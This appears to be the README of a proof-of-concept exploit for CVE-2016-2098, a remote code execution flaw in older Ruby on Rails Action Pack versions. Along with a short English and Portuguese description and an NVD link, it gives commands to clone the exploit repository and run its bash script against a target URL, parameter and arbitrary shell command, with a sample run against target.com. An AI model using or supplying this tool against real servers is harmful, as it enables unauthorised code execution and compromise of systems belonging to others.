
CVE-2016-2098 - POC of RCE Ruby on Rails: Improper Input Validation (CVE-2016-2098) in bash. Remote attackers can execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.
Action Pack no Ruby on Rails anterior a 3.2.22.2, 4.x anterior a 4.1.14.2 e 4.2.x anterior a 4.2.5.2 permite que atacantes remotos executem código Ruby arbitrário ao explorar o uso irrestrito do método render por uma aplicação (RCE)
https://nvd.nist.gov/vuln/detail/CVE-2016-2098
git clone https://github.com/Debalinax64/CVE-2016-2098.git
cd CVE-2016-2098
/bin/bash ruby-on-rail-RCE.sh < website> <target_uri> < command>
Example: /bin/bash ruby-on-rail-RCE.sh "http://target.com" "pages?id" "pwd"